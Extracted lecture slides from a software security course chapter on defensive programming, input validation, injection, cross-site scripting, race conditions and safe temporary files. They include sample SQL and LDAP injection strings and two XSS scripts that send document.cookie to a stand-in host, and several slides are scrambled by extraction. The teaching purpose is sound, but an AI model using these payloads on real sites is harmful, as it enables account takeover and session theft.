Chapter 11

Software Security
 Overview

 Buffer overflows: just one range of deficiencies found

in poorly written programs.
 Many other vulnerabilities are related to program
deficiencies.
 Software security:
 How to handle program input
 How to write safe code
 How to mange interactions with other programs and
the OS.
 Software Security Issues

 many vulnerabilities result

from poor programming
practices
 consequence from insufficient
checking and validation of
data and error codes software error categories:
 awareness of these issues is a
critical initial step in writing • insecure interaction between
more secure program code components
• risky resource management
• porous defenses
Table 11.1

CWE/SANS
Top 25 Most
Dangerous
Software
Errors
 Insecure Interaction Between
Components
 Failure to Preserve Web Page Structure ('Cross-site Scripting')
 Failure to Preserve SQL Query Structure (aka 'SQL Injection')
 Cross-Site Request Forgery (CSRF)
 Unrestricted Upload of File with Dangerous Type
 Failure to Preserve OS Command Structure (aka 'OS Command
Injection')
 Information Exposure Through an Error Message
 URL Redirection to Untrusted Site ('Open Redirect')
 Race Condition
 Risky Resource Management

 Buffer Copy without Checking Size of Input ('Classic Buffer

Overflow')
 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')
 Improper Control of Filename for Include/Require Statement in
PHP Program ('PHP File Inclusion')
 Buffer Access with Incorrect Length Value
 Improper Check for Unusual or Exceptional Conditions
 Improper Validation of Array Index
 Integer Overflow or Wraparound
 Incorrect Calculation of Buffer Size
 Download of Code Without Integrity Check
 Allocation of Resources Without Limits or Throttling
 Porous Defenses

 Improper Access Control (Authorization)

 Reliance on Untrusted Inputs in a Security
Decision
 Missing Encryption of Sensitive Data
 Use of Hard-coded Credentials
 Missing Authentication for Critical Function
 Incorrect Permission Assignment for Critical
Resource
 Use of a Broken or Risky Cryptographic
Algorithm
Open web application security
project

improper
Invalidated Cross-site Buffer Injection
error
Input scripting overflow flaws
handling
 Software Security,
Quality and Reliability
 software quality and  software security:
reliability:
 attacker chooses
 concerned with the accidental probability distribution,
failure of program as a result of specifically targeting bugs
some theoretically random, that result in a failure that
unanticipated input, system can be exploited by the
interaction, or use of incorrect
code attacker
 improve using structured  triggered by inputs that
design and testing to identify differ dramatically from
and eliminate as many bugs as what is usually expected
possible from a program
 unlikely to be identified by
 concern is not how many bugs, common testing
but how often they are approaches
triggered
 Software Security

 Writing secure, safe code requires attention to:

1. all aspects of how a program executes,

2. the environment it executes in,

3. and the type of data it processes.

 Nothing can be assumed, and all potential errors

must be checked
 Defensive Programming

 a form of defensive design to ensure continued function of

software despite unforeseen usage

 requires attention to all aspects of program execution,

environment, and type of data it processes

 also called secure programming

 assume nothing, check all potential errors

 programmer never assumes a particular function call or

library will work as advertised so handles it in the code
Abstract
Program
Model

Figure 11.1
 Defensive programming

 When writing a program, programmers

typically focus on what is needed to solve
whatever problem the program addresses.
 They focus is on the steps needed for
success and the normal flow of execution of
the program
 rather than considering every potential point
of failure.
 Defensive Programming
 programmers often make
assumptions about the type of
inputs a program will receive  conflicts with
and the environment it business pressures
executes in to keep
 assumptions need to be validated development
by the program and all potential
failures handled gracefully and times as short as
safely possible to
maximize market
 requires a changed mindset to advantage
traditional programming
practices
 programmers have to
understand how failures can
occur and the steps needed to
reduce the chance of them
occurring in their programs
 Defensive programming

 Normal testing techniques will not identify many

vulnerabilities

 These are triggered by highly unusual and unexpected

inputs.

 So, lessons must be learned from previous failures,

 Making sure new programs will not suffer form the

previous weaknesses

 Programs should be engineered to be as resilient as

possible in the face of any errors or unexpected
conditions.
 Security by Design
 security and reliability are common design
goals in most engineering disciplines
 Society in general is intolerant of bridges
collapsing, buildings falling down, or
airplanes crashing.
 The design of such items is expected to
provide a high likelihood that these
catastrophic events will not occur.
 Security by Design
 software development not as mature
 much higher failure levels are tolerated by
society.
 despite having a number of software development
and quality standards
 main focus is general development lifecycle
 increasingly identify security as a key goal
 Software security

 We start with the critical issue of safe input handling,

 followed by security concerns related to algorithm

implementation,
 interaction with other components,

 and program output.

 When looking at these potential areas of concern, it is

worth acknowledging that many security vulnerabilities
result from a small set of common mistakes.
 We discuss a number of these.
Handling Program Input

input is any source

of data from outside
incorrect handling is and whose value is
a very common not explicitly known
failing by the programmer
when the code was
written

explicitly validate
must identify all assumptions on size
data sources and type of values
before use
 Input Size & Buffer Overflow
 programmers often make assumptions about the maximum
expected size of input
 allocated buffer size is not confirmed
 resulting in buffer overflow

 testing may not identify vulnerability

 test inputs are unlikely to include large enough inputs to
trigger the overflow

 safe coding treats all input as dangerous

 Dynamic buffer size, even then ,
 graceful degradation: processing inputs in blocks, dicarding
excess input
 Interpretation of Program Input

 program input may be binary or text

 binary interpretation depends on encoding and is usually
application specific

 there is an increasing variety of character sets being used

 care is needed to identify just which set is being used and
what characters are being read

 failure to validate may result in an exploitable

vulnerability
 Networking – binary

 Other use= file name, URL, email , address

 Injection Attacks
 flaws relating to invalid handling of input data,
specifically when program input data can accidentally or
deliberately influence the flow of execution of the
program

 Input data passed as a parameter to another program

most often occur in scripting languages

• encourage reuse of other programs and

system utilities where possible to save
coding effort
• often used as Web CGI scripts
 Injection attacks
Input manipulation: SQL injection attacks.

 Applications, typically web-based, with back-end

databases are susceptible to these attacks.

 These applications convert user supplied input into SQL

commands that are processed by the database.

 Attackers can craft special input that make the SQL

commands malicious in nature.

 The database processes these malicious SQL commands

and end up disclosing sensitive data or running sensitive
database commands.
24
 Injection attacks
Input manipulation: SQL injection attack example.

 Consider, a web application, that allows users to change

their password and asks for following inputs:
UserID: pankaj
Old password: reuse99
New password: simplify87

 The resulting SQL executed by the database then is:

UPDATE usertable SET pwd='simplify87' WHERE
userid='pankaj';

 This changes the pwd value in the user table for the user
‘pankaj’
25
 Injection attacks
Input manipulation: SQL injection attack example contd.

 Now consider, if the user provides the following special input:

UserID: ' pankaj' OR userid = 'administrator';--
Old password: reuse99
New password: simplify87

 The resulting SQL executed by the database then is:

UPDATE usertable SET pwd='simplify87' WHERE
userid='pankaj' OR userid = 'administrator';--';

 This changes the pwd value in the usertable for the user
‘administrator’!!

(the - - ask the database to ignore any characters that follow)

26
 LDAP – Lightweight Directory Access
Protocol
 LDAP is used for accessing and updating directories.

 Directories contain information such as individual names, phone

numbers, and addresses.

 An LDAP directory is organized in a simple "tree" hierarchy

consisting of the following levels:
 The root directory (the starting place or the source of the tree),
which branches out to
 Countries, each of which branches out to
o Organizations, which branch out to
 Organizational units (divisions, departments, and so forth),
which branches out to (includes an entry for)
• Individuals (which includes people, files, and shared
resources such as printers)
27
 Injection attacks
Input manipulation: LDAP injection attacks.

 These applications convert user supplied input

into LDAP commands that are processed by the
directory.

 Attackers can craft special input that make the

LDAP commands malicious that disclose
sensitive data.

 Conceptually similar to SQL injection attacks.

28
 Injection attacks
Input manipulation: LDAP injection attack example.

 Consider, a web application, that shows a phone number

given a person’s name:
UserID: sujala

 The resulting command passed to the directory is:

http://www.company.com/search-ldap?user=sujala

 This results in information for user ‘sujala’ being

disclosed.

29
 Risks and controls
Input manipulation: LDAP injection attack example contd.

 Now consider, if the user provides the following special

input:
UserID: sujala)(|postalAddress=*)

 The resulting command passed to the directory then is:

http://www.company.com/search-ldap?user= sujala)(|postalAddress=*)

 This discloses the postal address of for the user ‘sujala’!!

30
Risks and controls: Application-specific input attacks.

 Input manipulation: Application-specific input attacks.

 Web browsers exchange information with applications on
web servers via;
1. HTTP headers
2. and hidden HTML form fields.
 These are often relied upon by developers for security
checks and identity validation.
 However these can easily be manipulated by end users
before sending it to server – thereby bypassing the
security checks.

31
 Injection attacks
Input manipulation: Application-specific input attacks.
 HTTP headers and HTML form fields can easily be
manipulated by end users.

32
 Injection attacks
Input manipulation risks:
 Input manipulation can lead to malfunctioning, user
impersonation, loss of sensitive data, etc.
Controls:

 Do not trust user’s inputs.

 Sanitize user inputs by:
1. Rejecting known bad data/characters. (difficult to maintain list of
possible invalid characters)
2. Cleaning bad data. (Sanitize data before passing it to the
applications)-not an easy task
3. Accepting only valid data. (safer strategy)

 Do not rely on HTTP headers/HTML hidden fields for

security checks.
33
Unsafe Perl Script
Expected and Subverted Finger
CGI Responses
Safety Extension to Perl Finger CGI
Script

 adds a test that ensures user input contains just

alphanumeric characters
 if it doesn’t the script terminates with an error message
specifying the supplied input contained illegal characters
  user supplied input is
used to construct a
SQL request to
SQL Injection retrieve information
Attack from a database
 vulnerability is similar
to command injection
 difference is that SQL
metacharacters are
used rather than shell
metacharacters

 to prevent this type of

attack the input must
be validated before use
 Code Injection Attack
 input includes code that is
then executed by the
attacked system
 PHP remote code injection
vulnerability
 PHP file inclusion
vulnerability
 PHP CGI scripts are vulnerable
and are being actively
exploited
 defenses:
 block assignment of form
field values to global
variables
 only use constant values in
include/require commands
 Cross Site Scripting (XSS) Attacks

commonly seen in
scripted Web XSS reflection
applications vulnerability
exploit assumption
• vulnerability involves the
inclusion of script code in that all content from • attacker includes the
attacks where input malicious script content
the HTML content one site is equally
provided by one in data supplied to a site
• script code may need to trusted and hence is
user is subsequently access data associated permitted to
output to another with other pages
• browsers impose security interact with other
user
checks and restrict data content from the
access to pages site
originating from the
same site
  user’s cookie is
XSS supplied to the
attacker who could
Example then use it to
impersonate the
user on the original
site
 to prevent this
attack any user
supplied input
should be
examined and any
dangerous code
removed or
escaped to block its
execution
 Cross Site Scripting (XSS)

• Attacker injects scripting code into pages generated

by a web application
– Script could be malicious code
– JavaScript (AJAX!), VBScript, ActiveX, HTML, or Flash
• Threats:
– Phishing, hijacking, changing of user settings, cookie
theft/poisoning, false advertising , execution of code on
the client, ...

11/25/2018 Web Security 41

 Persistent XSS
• The code injected by the attacker into the web site remains on
the site for a period of time and is visible to the users
• Classic example, exploiting a web site’ guest book or message
board.
• Assume a social networking site that provides a guestbook,
where visitors enter comments and post them for other to
see.
• If the user input to be stored is not properly sanitized to strip
certain characters, the attacker can inject malicious code that
is executed when other users visit the site.

11/25/2018 Web Security 42

 XSS Example
• Website allows posting of comments in a
guestbook guestbook.html
• Server incorporates comments into page
returned <html>
<html>
<title>Sign My Guestbook!</title>
<body>
<body>
Sign my guestbook!
<title>My Guestbook!</title>
<form action="sign.php"
Thanks for signing my guestbook!<br /> method="POST">
Here's what everyone else had to say:<br /> <input type="text" name="name">
Joe: Hi! <br /> <input type="text" name="message"
John: Hello, how are you? <br /> size="40">
Jane: How does this guestbook work? <br /> <input type="submit" value="Submit">
</body> </form>
</body>
• Attacker can post comment that includes
</html>
malicious JavaScript
Evilguy: <script>alert("XSS Injection!");
</script> <br />
11/25/2018 Web Security 43
 Cookie Stealing XSS Attacks
• Attack 1
<script>
document.location = "http://www.evilsite.com/steal.php?cookie="+document.cookie;
</script>

• Attack 2
<script>
img = new Image();
img.src = "http://www.evilsite.com/steal.php?cookie=" + document.cookie;
</script>

11/25/2018 Web Security 44

 Nonpersistent XSS Attack
• Most real life examples of XSS attacks do not allow the
code to persist past the attacker’s session
• Example:
• Serach page echoing a serch query.
• If user input is not sanitized, malicious code can be
injected into the search box
• Search-results page would include that mailicious code
as content of the page
• User’s browser can execute it.

11/25/2018 Web Security 46

 Client-side XSS defenses
– Proxy-based:
• Analyze HTTP traffic between browser and web server
• Look for special HTML characters
• Encode them before executing the page on the user’s web browser
(i.e. NoScript - Firefox plugin)
– Application-level firewall:
• Analyze HTML pages for hyperlinks that might lead to leakage of
sensitive information
• Stop bad requests using a set of connection rules
– Auditing system:
• Monitor execution of JavaScript code and compare the operations
against high-level policies to detect malicious behavior

11/25/2018 Web Security 47

 Validating Input Syntax (regular
expressions)

it is necessary
by only
to ensure that alternative is
input data accepting
data conform to compare the
should be known safe
with any input data with
compared data the
assumptions known
against what is program is
made about dangerous
wanted more likely to
the data before values
remain secure
subsequent use
 Validating input syntax

The it is necessary to ensure

programmer that such data conform
cannot control with any assumptions
the content of made about the data
input data, before subsequent use.
 If data are textual

 The assupmtions are that:

 The data contain only printable characters,

 have certain HTML markup,

 are the name of a person,

 a userid,

 an e-mail address,

 a filename, and/or a URL.

 If data are integers or other
numerical values
 A program using such input should confirm that it meets
these assumptions.
 Validating input syntax

 The approach we have considered is based on the

following important principle principle:

input data should be compared

against what is wanted, accepting
only valid input.
 Validating input syntax

 An alternative is to compare the input data with known

dangerous values.

 The problem with this approach:

a. New problems and methods of bypassing existing checks

continue to be discovered.

b. By trying to block known dangerous input data, an

attacker using a new encoding may succeed.
 Validating input syntax

 An alternative approach : accepting only known safe data,

 the program is more likely to remain secure.

 This type of comparison is commonly done using regular

expressions.

 It may be:
 explicitly coded by the programmer
 or may be implicitly included in a supplied input processing
routine.
 Regular expression

 is a pattern composed of a sequence of characters that describe

allowable input variants.
 Some characters in a regular expression are treated literally,
and the input compared to them must contain those characters
at that point.
 Other characters have special meanings, allowing the
specification of alternative sets of characters, classes of
characters, and repeated characters.
 Details of regular expression content and usage vary from
language to language.
 Regular expression

 An appropriate reference should be consulted for the

language in use.

 If the input data fail the comparison, they could be

rejected.

 In this case a suitable error message should be sent to the

source of the input to allow it to be corrected and
reentered.
 Validating input syntax

 Another approach :

 the data may be altered to conform.

 This generally involves escaping metacharacters to

remove any special interpretation, thus rendering
the input safe.
 Alternate Encodings

growing requirement to
support users around the
may have multiple means of
globe and to interact with
encoding text
them using their own
languages

Unicode used for canonicalization

internationalization • transforming input data into a single,
• uses 16-bit value for characters standard, minimal representation
• UTF-8 encodes as 1-4 byte sequences • once this is done the input data can
be compared with a single
• many Unicode decoders accept any
representation of acceptable input
valid equivalent sequence
values
 Validating Numeric Input

 additional concern when input data represents numeric

values
 internally stored in fixed sized value
 8, 16, 32, 64-bit integers
 floating point numbers depend on the processor used
 values may be signed or unsigned

 must correctly interpret text form and process consistently

 have issues comparing signed to unsigned
 could be used to thwart buffer overflow check
 Attacker can specify a very large actual input size which is
taken as a negative number when compared with the max
buffer size.
 When used actual data is much larger than the buffer
 Input Fuzzing
 developed by Professor Barton Miller at the University of Wisconsin
Madison in 1989

 software testing technique that uses randomly generated data as

inputs to a program
 range of inputs is very large
 intent is to determine if the program or function correctly handles
abnormal inputs
 simple, free of assumptions, cheap
 assists with reliability as well as security

 can also use templates to generate classes of known problem inputs

 disadvantage is that bugs triggered by other forms of input would be
missed
 combination of approaches is needed for reasonably comprehensive
coverage of the inputs
 Writing Safe Program Code

 second component is processing of data by some

algorithm to solve required problem

 high-level languages are typically compiled and linked into

machine code which is then directly executed by the
target processor

security issues:

• correct algorithm implementation

• correct machine instructions for algorithm
• valid manipulation of data
Correct Algorithm Implementation
another variant is when the
initial sequence numbers
programmers deliberately
issue of good program used by many TCP/IP
include additional code in a
development technique implementations are too
program to help test and
predictable
debug it

often code remains in

production release of a program
algorithm may not and could inappropriately
correctly handle all release information
problem variants combination of the
sequence number as an
identifier and may permit a user to bypass
security checks and perform
authenticator of packets
actions they would not
and the failure to make otherwise be allowed to
them sufficiently perform
consequence of deficiency unpredictable enables the
is a bug in the resulting attack to occur
program that could be this vulnerability was exploited
exploited by the Morris Internet Worm
 Ensuring Machine Language
Corresponds to Algorithm
 issue is ignored by most programmers
 assumption is that the compiler or interpreter generates or
executes code that validly implements the language
statements

 requires comparing machine code with original source

 slow and difficult

 development of computer systems with very high

assurance level is the one area where this level of checking
is required (how about malicious compiler programmer)
 specifically Common Criteria assurance level of EAL 7
 Correct Data Interpretation

 data stored as bits/bytes in  different languages provide

computer different capabilities for
 grouped as words or restricting and validating
longwords interpretation of data in
 accessed and manipulated in variables
memory or copied into  strongly typed languages are
processor registers before more limited, safer
being used  other languages allow more
 interpretation depends on liberal interpretation of data
machine instruction executed and permit program code to
explicitly change their
interpretation
 Correct Use of Memory
 issue of dynamic memory allocation
 used to manipulate unknown amounts of data
 allocated when needed, released when done

 memory leak
 steady reduction in memory available on the heap to the point
where it is completely exhausted (DoS)

 many older languages have no explicit support for dynamic

memory allocation
 use standard library routines to allocate and release memory

 modern languages handle automatically

 Race Conditions

 without synchronization of accesses it is possible that

values may be corrupted or changes lost due to overlapping
access, use, and replacement of shared values

 arise when writing concurrent code whose solution requires

the correct selection and use of appropriate
synchronization primitives

 deadlock
 processes or threads wait on a resource held by the other
 one or more programs has to be terminated
Operating System Interaction
 programs execute on systems under the control of an
operating system
 mediates and shares access to resources
 constructs execution environment
 includes environment variables and arguments

 systems have a concept of multiple users

 resources are owned by a user and have permissions granting
access with various rights to different categories of users
 programs need access to various resources, however
excessive levels of access are dangerous
 concerns when multiple programs access shared resources
such as a common file
 Environment Variables

 collection of string values inherited by each process from its

parent
 can affect the way a running process behaves
 included in memory when it is constructed

 can be modified by the program process at any time

 modifications will be passed to its children

 another source of untrusted program input

 most common use is by a local user attempting to gain

increased privileges
 goal is to subvert a program that grants superuser or administrator
privileges
Vulnerable Shell Script
Example
 Vulnerable Compiled Programs

 programs can be vulnerable to PATH variable

manipulation
 must reset to “safe” values

 if dynamically linked may be vulnerable to manipulation

of LD_LIBRARY_PATH
 used to locate suitable dynamic library
 must either statically link privileged programs or prevent
use of this variable
 Use of Least Privilege
privilege escalation
• exploit of flaws may give attacker greater privileges

least privilege
• run programs with least privilege needed to complete their
function

determine appropriate user and group privileges

required
• decide whether to grant extra user or just group privileges

ensure that privileged program can modify only

those files and directories necessary
Root/Administrator Privileges

 programs with root / administrator privileges are a major target

of attackers
 they provide highest levels of system access and control
 are needed to manage access to protected system resources

 often privilege is only needed at start

 can then run as normal user

 good design partitions complex programs in smaller modules

with needed privileges (chroot)
 provides a greater degree of isolation between the components
 reduces the consequences of a security breach in one component
 easier to test and verify
 System Calls and
Standard Library Functions
 programs use system calls and standard library functions
for common operations

 programmers make assumptions about their operation

 if incorrect behavior is not what is expected
 may be a result of system optimizing access to shared
resources
 results in requests for services being buffered, resequenced,
or otherwise modified to optimize system use
 optimizations can conflict with program goals
Secure File Shredder
 Preventing Race Conditions

 programs may need to access a common system resource

 need suitable synchronization mechanisms

 most common technique is to acquire a lock on the shared file

 lockfile
 process must create and own the lockfile in order to gain
access to the shared resource
 concerns
 if a program chooses to ignore the existence of the lockfile and
access the shared resource the system will not prevent this
 all programs using this form of synchronization must cooperate
 implementation
Perl File Locking Example
 Safe Temporary Files

 many programs use temporary files

 often in common, shared system area

 must be unique, not accessed by others

 commonly create name using process ID

 unique, but predictable
 attacker might guess and attempt to create own file between
program checking and creating

 secure temporary file creation and use requires the use of

random names
 Safe temporary files

 Many programs need to store a temporary copy of data

while they are processing the data. A temporary file is
commonly used for this purpose.
 Most operating systems provide well-known locations for
placing temporary files and standard functions for naming
and creating them.
 The critical issue with temporary files is that they are
unique and not accessed by other processes.
 In a sense this is the opposite problem to managing access
to a shared file. The most common technique for
constructing a temporary filename is to include a value
such as the process identifier.
 Safe temporary files

 As each process has its own distinct identifier, this should

guarantee a unique name.
 The program generally checks to ensure that the file
does not already exist, perhaps left over from a crash of a
previous program, and then creates the file.
 This approach suffices from the perspective of reliability
but not with respect to security.
 Again the problem is that an attacker does not play by the
rules.
 The attacker could attempt to guess the temporary filename a
privileged program will use.
 Safe temporary files

 The attacker then attempts to create a file with that name in the
interval between the program checking the file does not exist
and subsequently creating it.
 This is another example of a race condition, very similar to
that when two processes race to access a shared file when
locks are not used.
 There is a famous example, reported in [WHEE03], of some
versions of the tripwire file integrity program suffering from
this bug.
 The attacker would write a script that made repeated guesses on
the temporary filename used and create a symbolic link from that
name to the password file. Access to the password file was
restricted, so the attacker could not write to it.
 Safe temporary files

 However, the tripwire program runs with root privileges,

giving it access to all files on the system.
 If the attacker succeeds, then
 tripwire will follow the link and use the password file as its
temporary file, destroying all user login details
 and denying access to the system until the administrators
can replace the password file with a backup copy.
 This was a very effective and inconvenient denial of service
attack on the targeted system. This illustrates the importance
of securely managing temporary file creation.
 Safe temporary files

 Secure temporary file creation and use preferably requires

the use of a random temporary filename.
 The creation of this file should be done using an atomic
system primitive, as is done with the creation of a lockfile.
 This prevents the race condition and hence the potential
exploit of this file.
 It is also important that the minimum access is given to this
file. In most cases only the effective owner of the program
creating this file should have any access.
Temporary File Creation
Example
 Other Program Interaction
 programs may use functionality and services of other
programs
 security vulnerabilities can result unless care is taken with
this interaction
 such issues are of particular concern when the program being
used did not adequately identify all the security concerns that
might arise
 occurs with the current trend of providing Web interfaces to
programs
 burden falls on the newer programs to identify and manage any
security issues that may arise

 issue of data confidentiality / integrity

 detection and handling of exceptions and errors generated
by interaction is also important from a security perspective
 Handling Program Output

 final component is program output

 may be stored for future use, sent over net, displayed
 may be binary or text

 important from a program security perspective that the

output conform to the expected form and interpretation
 programs must identify what is permissible output content
and filter any possibly untrusted data to ensure that only
valid output is displayed
 character set should be specified
 Summary
 writing safe program code
 software security issues
 correct algorithm implementation
 defensive/secure programming
 ensuring machine language
 handling program input
corresponds to algorithm
 key concern for input:
 correct interpretation of data
 size /interpretation
values
 injection attack
 correct use of memory
 command /SQL /code
 preventing race conditions
 cross-site scripting attacks
 interacting with the operating
 XSS reflection
system and other programs
 validating input syntax
 environment variables
 input fuzzing
 least privileges
 handling program output
 safe temporary file use
 preventing race conditions